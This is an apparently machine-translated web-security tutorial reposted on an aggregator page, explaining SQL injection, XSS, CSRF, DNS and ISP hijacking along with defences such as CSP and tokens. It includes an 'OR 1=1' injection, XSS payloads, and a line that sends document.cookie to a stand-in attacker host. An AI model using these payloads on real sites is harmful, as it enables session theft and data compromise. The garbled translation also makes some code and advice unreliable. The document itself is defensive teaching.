How to ensure the security of your webpage

Source: Internet
Author: User
Tags csrf attack

How to ensure the security of your webpage

From technology to security, this is a trend. I used to pursue cool technologies. After implementation, I found out what else I could do. it's almost time to learn about the technology. user security is a great Zen. apple rejected the FBI and google refused to replace the Michelle image. These are an important demonstration of ensuring user security. however, web page security is a huge pitfall. Basically, you don't have to spend a lot of time and energy. how deep is this trap? I have dug a simple layer of soil here for you to see.

SQL injection

According to the name, we can guess that the attack is related to the SQL database (relational database ).

System explanation:

SQL Injection: attackers inject malicious scripts and execute the desired results. For example, retrieve all data in the database and delete the database data. (because the interfaces opened to the front-end in the background are generally used for queries, all attacks that obtain all the data in the database are common ).

Instance attack

This type of attacks usually occur when dynamic scripts are used in the background to generate SQL query strings. In addition, they are not obfuscated during the process:

var name = req.query.userName;var pass = req.query.password;sql = "SELECT id FROM users WHERE username='" + uname + "' AND password='" + pass + "'";database.execute(sql);

Attacker can then write the following SQL query string:

"SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1";

That is, write the pass to: pass '+ "OR 1 = 1" +', and send it to the server for processing.

You should understand the result.

The preceding SQL injection is only a friendly intrusion (this is a conscience hacker ). if your SQL statement operation permission is not limited to queries, but also CRUD operations. then, what hacker can do is go big.

If your interface involves modification. when hacker and inject have a piece of code, it damages the integrity of your data. this may cause invalid query results for other queries. (void transaction), or even return others' data.

If your interface involves deletion, I will not say much about the result.

In addition, there are some permissions for admin or visitor. This is also a standard for database security.

SQL Protection

The first method is stupid. A blacklists regular match is used to check the parameters in the query string and exclude some characters.

The second method is also the most commonly used. Use a series of functions provided by the database for query. This should be worth noting. The internal processing of parameters in the functions of the database's own database must be more accurate than the repetitive wheel detection ~

For example, insert in mongoDB:

Collection. insertMany ([], cb)

XSS attack

XSS (Cross-site scripting). Why am I not CSS? I don't know either.

XSS mainly refers to cross-script attacks. In fact, it is equivalent to executing js scripts, which are often displayed on the logic pages of comments.

And reply:

XSS Principle

Let's take a look at the process of replying to a comment. Normally:

Comment

It is asynchronously sent to the Server and stored in the database. If the request is successful, the comments -- comment

In this case, use

Comment

Render comments.

 

The above process can easily describe the principle that no comment is processed. In this case, XSS is just like a fish. For example:

// Comment: <script type = "text/javascript"> console. log (123); </script> // The rendered content is:

<Script type = "text/javascript"> console. log (123); </script>

The final rendering result on the page is that the content in p is blank, and the console outputs 123.

In fact, the comment has been saved in the database. When other users access the website, the script in the comment also works. (terrible ing) This is the biggest headache for XSS attacks.

Is the basic operation flow chart: from acunetix

In fact, XSS is not only applicable to scripts. any content that involves user input and is rendered to a page may be used by XSS. For example:

TemplateActual Rendering <iframe src = usrInput> <iframe src =" http://xss.html "> <input type = userInput> <input type =" image "src =" # "onerror =" alert ('xsss ') "/> insert background: url (javascript: alert (XSS ));......

 

Therefore, the above is an XSS attack on tag attributes, which can be effectively prevented. You can use the setAttribute method to set the attribute.

What can XSS do?

By embedding a script on a regular page, the user cannot notice that the page has become XSS's victim. therefore, when a user opens a website, the malicious script is executed. what this script can do:

By document. cookie. in addition, if your token is not placed on the Server side, but in the user cookie, then hacker will completely obtain the user information and impersonate the user to log on.

For example, window. location = 'HTTP: // attacker /? Cookie = '+ document. cookie

The script can modify the interface

If the page contains private information entered by the user, such as the bank account and password. You can bind the listener and send the information to hacker through ajax. (cross-origin can be completely solved through CORS)

Use H5 APIs to obtain users' personal information. for example, cameras and geographic locations. of course, the user is not stupid and won't confirm it without any reason (when using these APIs, You need to obtain the user's consent ). but in front of social engineering, this is nothing.

Address redirection. You only need to use window. location. href.

Prevent XSS attack

Now we know the principle of xss, that is, embedding script scripts to execute malicious operations. Therefore, the basic protection can be divided into two types:

Verification: verifies whether the content entered by the user complies with the rules to prevent hacker insertion and malicious code.

Encoding: Actually equivalent to escape characters. for example, convert '<' to: <. '>' to:>. (avoid inserting <script> or other tags -- <p> </p>)

Verify

In fact, the verification can be divided into blacklist and whitelist verification. However, blacklist is only used as an introduction. In formal development, the most commonly used is whitelist.

BlackList

In fact, this method is equivalent to the enumeration method, but his direction of speculation is for hacker users. for example. set a regular expression. /<script/g. replace or a prompt box is displayed.Whitelist

This is the same as blacklist, but it is set to verify the correct content. This method is mainly used during registration. Use a regular expression to verify the username, nickname, and other information. This is a typical whitelist method.

Encoding:

This method is more honest, with no exaggerated regular expressions. Some are custom converts. As mentioned above:

Convert & &;

Convert <to <;

Convert> to>;

Convert "";

Convert 'to ';

Convert//;

In this way, we can prevent the embedded scipt script from being executed and convert it to data and render it directly to the page. The following describes the XSS protection measures for different scenarios.

XSS protection for tag attributes

Before explaining the tag protection, I will move the above XSS attack instance down:

Template Actual Rendering <iframe src = usrInput> <iframe src =" http://xss.html "> <input type = userInput> <input type =" image "src =" # "onerror =" alert ('xsss ') "/> ......

As mentioned above, you can use setAttribute for internal encoding. Other methods can be implemented in client-side.

User input Escape Method <P> usrInput </p> eleP. textContent = usrInput <p attr> ele. setAttribute (attr, usrInput) \ ele [attr] = usrInput URL param window. encodeURLComponent (usrInput) style value ele. style. prop = usrInput

In short, we try to reduce the frequency of innerHTML and outerHTML when operating user input data. Here, we also need to supplement URL para.

Select URL encoding

For the encoding method, native js provides three global Funciton.

Escape ()

EncodeURI ()

EncodeURIComponent ()

In fact, all three of them can be used as the encoding method. But since all of them can be used, why are there three? In fact, their major direction is still very different.

Escape ()

This method is mainly used to encode the string (string) (ascii ). all spaces, punctuation marks, and any non-ASCII characters are replaced by % xx. if the number of character bits is greater than 255, % uxxxx will be used instead-the most obvious example is Chinese. these characters @ */+ are not encoded.

The accepted parameter is string. That is,. escape (str). For details about the demo, refer to: xkr escape.

The corresponding decode method is: unescape ();

The main application scenario of this method is to convert the transmitted content, such as the content inserted into the database. (To be honest, the usage frequency is quite low)

EncodeURI () This method is a common method for url encoding. Generally, it is used to convert all url characters into valid characters for transmission.

For example: encodeURI ("http://example.com? Name = bad guys ")

The output result is: http://example.com? Name = % E5 % 9D % 8F % E4 % BA.

EncodeURI does not convert the following characters: ASCII letters, numbers ,~! @ # $ * () = :/,;? + &'

The corresponding decode method is: decodeURI

The main application scenarios are: URL encoding,

In the post mode, specify the Content-Type: application/x-www-form-urlencoded, the transmitted encodeURI (str) Content.

The encodeURIComponent () method is most likely to be confused with encodeURI. In fact, this method is only applicable to the query in the URI. (even the search part cannot be used. I am afraid of it ).

This method does not apply to: ASCII letters and numbers ~! * () 'For convert.

The corresponding decode method is: decodeURIComponent

Therefore, in the shape.

<A href = "http://example.com? UsrInput "> link

We need to encodeURI () for usrInput, And the encoding is converted.

And encodeURI () for usrInput in the background or background-url when styel is dynamically added ().

Protects input content

This is mainly for the comment content. However, it is not detailed here because the content is too complex. It is about the above points and the conversion of characters.

We recommend that you use the XSS module for conversion.

CSP ultimate protection

I have always believed in one sentence

There is no absolute security system

Even a small lapse will give hacker a chance. therefore, during XSS protection, some omissions are inevitable. CSP should be a powerful line of defense after hacker finds the vulnerability. csp I have already elaborated on CSP page protection in my other blog

CSP is designed to enhance web page security and free programmers and hacker from death. in addition, XSS protection has this natural advantage. because XSS is mainly used to insert embedded or cross-domain scripts for execution.

What CSP can do is:

Do not load insecure scripts

Do not execute inline scripts

Do not execute the eval function

So how should we use it?

CSP main and Response Header -- Content? Security? Policy.

Return Content through server-side? Security? Policy header to enable different degrees of protection. Here, we only introduce the XSS-related.

Generally, we can set some direve VE in the CSP header. For example:

Default-src: default resource settings, such as js, css, img, fonts, and xhr.

Script-src: how to set js scripts

Style-src: how to set css scripts

Img-src: how to set Images

Child-src: Set sandbox related to iframe

...

However, we generally only need to know the first four items. Each value can take relevant attributes. For example, default-src self. indicates that the resources on the detail page can only load content in the same domain.

Let's take a closer look at the content that can be set by default-src.

Property Effect None: resources cannot be loaded from any place (probably unavailable) self runs to download resources from the server in the same domain unsafe-inline allow to run the inline script unsafe-eval allow to run the eval Method

For example, we can set script-src 'self '. At this time, only resources in the same domain are allowed, and inline scripts and eval functions are not executed. If the restrictions are lifted, we can add them.

Script-src 'self ''' unsafe-inline ';

In addition, we can also set cross-origin Script Execution

Script-src 'self-service http://example.com

In this way, resources can be downloaded not only from the same source server-side, but also from example.com.

We recommend that you set a CSP header with the following content:

script?src 'self' scripts.example.com;img?src *;default?src 'self' http://*.example.com

How to enable CSP?

In nginx, add the following content to the conf configuration file.

Add_header Content-Security-Policy "default-src 'self ';";

CSP references:

CSP.com

XSS references:

Produced by google

OWASP protection CSRF Attack and Defense

CSRF or cross-site request forgery or cross-domain counterfeit requests. the working principle is to send relevant information to an information website through GET or POST, such as bank network, credit network, and Lily network. during sending, the request will actually contain your original IP address and cookie info.

Instance

Assume that the website www.example.com does not carry out CORS (cross-origin request setting) and agrees to access any domain name, that is:

Access-Control-Allow-Origin :'*';

If a route of the website is improperly set, CSRF may occur. Now, hacker sends an e-HTML email to victim, which contains the following content:

 

For jimmy's account, transfer $100. Of course, the premise is that this interface meets the requirements for access in this way.

When you open this email, the img immediately sends a request. Assume that your login status (session cookie) has not expired, in this request, will carry the cookie stored under the https://www.example.com/transfer. it is equivalent to obtaining the permissions you have logged on to and impersonating you for related operations. however, the content in referer will not be changed, that is, if you send a request from www.malicious.com, then referer or www.malicious.com (Prompt: Cross-origin)

So, but for the moment, no child shoes will transmit such important information through the get method most favored by hacker. in addition, dev will be confused during get transmission.

So, is there no way for CSRF?

Actually, without get, I still have POST. however, we will not discuss cross-origin post of ajax here. because of the ajax post request, only the cookie of the current page is sent, and the cookie of the target page is not searched in the browser. in addition, the CSRF work environment is user PC. form sending is the best post sending Method for CSRF, which can carry cookies and avoid cross-origin browser interference. below are several common CSRF Methods

In CSRF, how do I send a POST?

POST's CSRF

It's easy to build a form.

 

Insert the form into your malicious webpage, use social engineering to induce the user to enter your page, and then send the content. if you want to do something concealed, you can use iframe to introduce the form, and then automatically perform the submit operation. now, hacker can use GET and POST to cleverly obtain the user's session. so, how to prevent CSRF?

How to Prevent CSRF

CSRF has three features: Cross-origin, cookie, and request method. Therefore, as long as one of them is blocked, CSRF can go die.

Set secert Token

This is easy to understand, that is, the front-end and the backend both agree a token content, or directly generate a random token from the back-end. Then, when a request arrives, the server-side performs Token verification.

  

The value here can be used as a description of the validity of the request. generally, the token is well-designed. For example, you can use the specified character + time to generate the token, and specify the character + salt to generate the token. these Token verification methods can all be considered by ourselves.

Therefore, even if a hacker generates a form, the content of the form may have expired (invalid Token ).

Similarly, we can also set verification tokens in cookies. I have not introduced much about the principle. The content set in cookies is similar to that set in form. in addition, you need to set the httpOnly option for important cookies to prevent the user script from obtaining the cookie content.

Try to transmit data in JSON format

Because the form transmission format is:

Content-Type: application/x-www-form-urlencoded

The JSON transmission type is:

Content-Type: application/json

Form cannot simulate the JSON type for transmission. Therefore, this is also a good method.

In addition, if you have to use form for submission, there is another method. we can use the referrer attribute in the request Header to obtain the address for sending the script. whitelist is used to allow access requests from a specified domain.

DNS hijacking

DNS hijacking is in fact more inclined to User, because developer can't do anything about it. Let's briefly describe the DNS hijack process.

If you know the DNS resolution process, the logic is clear. The user enters a real domain name and initiates a UDP request to the fake DNS Server. Then, the DNS returns a malicious IP address. As a result, the user opens a full screen advertisement or a lonely webpage.

Actually also ignores a very important step, that is, how do users send requests to the fake DNS Server?

In fact, this pot needs to be carried back by the user. in the past, when trojan horse (trojan virus) was prevalent, OS Security was really poor. when the user downloads video, image, software... it is likely to be accompanied by a Honey juice virus. Then, the virus will modify your ISP service configuration, that is, the IP address of your DNS provider. then, hacker adds the DNS Server that he controls. then, how can we know that we have been hack? For MAC users, you only need to find your DNS list and compare it with the DNSchanger IP provided by the FBI or the national security network. If yes, cleanup is needed.

Hazards of DNS hijacking

Although the DNS hijack attack costs a lot, the profit after the successful operation is also quite large. hacker can send you the bank website information of fake to trick your account. you can also cache the correct webpage and insert more advertisements to charge for advertising fees.

How to revent hijack

In fact, there is only one way to clean yourself ~ (You know)

HTTP (ISP) Hijacking

First of all, I googled -- HTTP hijacking. As a result, I still had little knowledge about ISP hijacking. The results were all from Shenma DNS hijacking. later, I changed the Chinese search -- http hijacking. I won't say much about it. it seems that Chinese people have a profound understanding of HTTP hijacking. what is the cause-advertisement ~

See a common pop-up window advertisement:

You can close it, but it's annoying to close it every time you open it ~

Think about it. When you open a page, there will be some iframe ads on the right side of the page. The first response is: network owners. Are you crazy, why do I add so many advertisements to my page... the website owner has an inexplicable background. then, I can only sigh deeply for these little packets-this is not what I do, this is what China Telecom, China Unicom's ISP providers do...

Therefore, due to the lack of a complete network method, the Supervision Authority does not bird you in the case of such illegal activities by the ISP. So, you know.

HTTP hijacking Principle

Here, we need to be clear that the CN operator is not a hacker, and he will not obtain user information in one way or another (I did not say that guo jia's wall). It may be for commercial purposes, it will become useless, and place a little advertisement for you. therefore, here hacker is not inserted, and the operator is not involved. OK ~ Let's take a look at how ISP hijacked HTTP traffic:

When C-> S sends a webpage request

After obtaining this information, the ISP will give it to its own cache server.

If the cache is hit, the modified page information (full screen advertisement) is returned ). if you don't have one, either your page views are not enough, or someone else is already full, Your webpage is lucky to have no chrysanthemum inserted.

When hit, the Cache Server disguised as S and sent a 302 message to C (temporarily moving, telling you that resources should be retrieved from another place ). since this is a redirection, the transmission speed is not required. C can only fetch resources from the cache server. ignore the data returned by the correct Server.

The next thing is the Web page you see. Do we have any protection measures?

HTTP hijacking Protection

First, we need to make it clear that there are two protection points:

User vs ISP

Developer vs ISP

Prevention of common users

Call your network provider directly to cancel the advertisement push.

This method requires a little understanding of the technology, especially the network structure module-gateway, proxy, tunnel, ip, etc. Refer to: HTTP Anti-Hijacking

Developer Protection

The simple and effective method is to use HTTPS encryption for transmission. the ISP captures your HTTP packet and analyzes the content to obtain the result. in HTTPS mode, even if the ISP obtains your HTTPS package, it cannot obtain your package content due to SSL encryption.

Replace your js provider and use the HTTPS path for loading. For example, the script service provided by HTTPS of qiniu is used. this is because the ISP can either result your HTML or all the HTTP requests on your webpage, and js is the most important content, therefore, Your webpage can withstand almost 80% of HTTP hijacking.

Summary Graph

Due to my limited energy and knowledge, I can only summarize some of the above Attack methods. Of course, network security has always been a fan. DDOS attacks can never be broken. However, competition is motivated ~

:

This is a simple one-dimensional flowchart. It takes time and effort to build your own network system. After you have a complete flowchart, I believe that, you must also understand the network security trend.

About Security

Kid paper, you're so naive. How safe is the online world? Wash and sleep. By the way, just like it.

</Script>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.